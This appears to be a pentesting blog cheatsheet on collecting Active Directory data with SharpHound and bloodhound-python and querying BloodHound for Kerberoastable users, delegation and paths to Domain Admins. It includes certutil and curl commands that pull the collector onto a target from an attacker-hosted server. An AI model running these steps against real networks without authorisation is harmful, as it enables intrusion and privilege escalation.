Post

BloodHound

SharpHound collects Active Directory data, mapping relationships and permissions, while BloodHound analyzes this data to reveal attack paths and privilege escalation opportunities. Both tools are widely used in pentesting to identify weaknesses in AD environments.

SharpHound Usage

1. Host SharpHound on Linux

To serve SharpHound.exe from your Linux machine:

1
2
3
4
5
mkdir -p /tmp/sharphound
cd /tmp/sharphound
wget $(curl -s https://api.github.com/repos/BloodHoundAD/SharpHound/releases/latest | grep '"browser_download_url":' | grep -v "debug" | cut -d '"' -f 4)
unzip -o SharpHound-*.zip
python3 -m http.server

This sets up a simple HTTP server to host SharpHound for download.

2. Download and Run SharpHound on Windows

On the target Windows machine, download SharpHound.exe using one of the following methods:

  • certutil:
    1
    
    certutil -urlcache -split -f http://<ip>:8000/SharpHound.exe SharpHound.exe
    
  • curl (if available):
    1
    
    curl -s http://<ip>:8000/SharpHound.exe > SharpHound.exe
    

Then, run SharpHound to begin collecting Active Directory data:

3. Retrieve Data with smbclient

Once the data collection is complete, download the results back to your Linux machine using smbclient:

1
smbclient //<domain>/<share> -U <user>%<password> -c "cd <path>; mask *_output.zip; mget *_output.zip"

4. Analyze with BloodHound

After retrieving the SharpHound output files, start BloodHound for analysis using Docker:

1
docker compose -f <(curl -L https://ghst.ly/getbhce) up

Login with admin username and randomly generated password will appear in the Docker logs. Once logged in, you can upload and analyze the SharpHound data to search for privilege escalation paths in Active Directory.


SharpHound from Linux with bloodhound-python

1
sudo bloodhound-python -c all -d <domain> -u <user> -p <password> -ns <domain-ip>

-ns <domain-ip>: Manually sets the DNS server IP to resolve domain names if the default DNS fails. Useful when a machine doesn’t auto-resolve domains.


SharpHound with /netonly

If you only have credentials and no direct access to execute commands, use the /netonly method for remote authentication.

1. Use /netonly for Remote Authentication

Open a command prompt under network-only authentication:

1
runas /netonly /user:<domain>\<user> cmd

2. List Target Directories Remotely

Use the following command to verify access to the target:

1
dir \\<ip>\Users

3. Run SharpHound Manually

To run SharpHound under /netonly, you must specify the domain controller explicitly, as it won’t be detected automatically.

If you encounter network issues or NIC problems, you may need to change the DNS server to point to the target IP:

  1. Check Network Interface Configuration:
    Run this command to list the network interface and its current configuration:
    netsh interface ipv4 show config
    
  2. Set the DNS Server to the Target IP:
    Use the following command to change the DNS for the network interface (e.g., Ethernet) to the target IP:
    netsh interface ip set dns name="Ethernet" static <target-ip>
    

After setting the DNS, run SharpHound with the domain controller specified:

1
C:\SharpHound.exe -c all -d <domain> --domaincontroller <ip>

This command ensures SharpHound connects to the correct domain controller for data collection.


By following these steps, you can gather Active Directory data via SharpHound and analyze it in BloodHound, even with limited access to the Windows target.

Graph Database Query Cheatsheet

User and Computer Relationships

  • Owned User Edges on a Computer
    1
    
    MATCH p=shortestPath((m:User)-[r]->(b:Computer)) WHERE m.owned RETURN p
    
  • Kerberoastable Users
    1
    
    MATCH (n:User) WHERE n.hasspn=true RETURN n
    
  • Kerberoastable Users (Pwd > 5 Years)
    1
    2
    
    MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0]
    RETURN u.name, u.pwdlastset ORDER BY u.pwdlastset
    
  • SPNs Containing ‘SQL’
    1
    
    MATCH (u:User) WHERE ANY (x IN u.serviceprincipalnames WHERE toUpper(x) CONTAINS 'SQL') RETURN u
    

Path Queries

  • Path to Domain Admins for Kerberoastable Users
    1
    2
    
    MATCH (u:User {hasspn:true}), (g:Group) WHERE g.name CONTAINS 'DOMAIN ADMINS'
    MATCH p = shortestPath((u)-[*1..]->(g)) RETURN p
    

RDP Access

  • Workstations and Servers RDP Access
    1
    2
    
    MATCH p=(g:Group)-[:CanRDP]->(c:Computer) WHERE g.objectid ENDS WITH '-513'
    RETURN p, CASE WHEN NOT c.operatingsystem CONTAINS 'Server' THEN 'Workstation' ELSE 'Server' END
    

Delegation and Sessions

  • Computers with Unconstrained Delegation
    1
    
    MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
    
  • DA Sessions Not on Domain Controllers
    1
    2
    3
    4
    
    OPTIONAL MATCH (c:Computer)-[:MemberOf]->(t:Group) WHERE NOT t.name = 'DOMAIN CONTROLLERS@TESTLAB.LOCAL'
    WITH c as NonDC
    MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf]->(g:Group {name:"DOMAIN ADMINS@TESTLAB.LOCAL"})
    RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY Connexions DESC
    

General Queries

  • Unsupported OSs
    1
    
    MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me).*' RETURN H
    
  • View All GPOs Containing ‘Server’
    1
    
    Match (n:GPO) WHERE n.name CONTAINS "SERVER" RETURN n
    

Privileges and Delegation

  • Users with Constrained Delegation Permissions
    1
    
    MATCH (u:User)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, COUNT(c) ORDER BY COUNT(c) DESC
    
  • Domain Admins Logged in Non-Domain Controllers
    1
    2
    3
    
    MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.GR'})
    MATCH (c:Computer) WHERE NOT EXISTS((c)-[:MemberOf]->(:Group {name:'DOMAIN CONTROLLERS'})) AND EXISTS((c)-[:HasSession]->(n))
    RETURN c.name
    
This post is licensed under CC BY 4.0 by the author.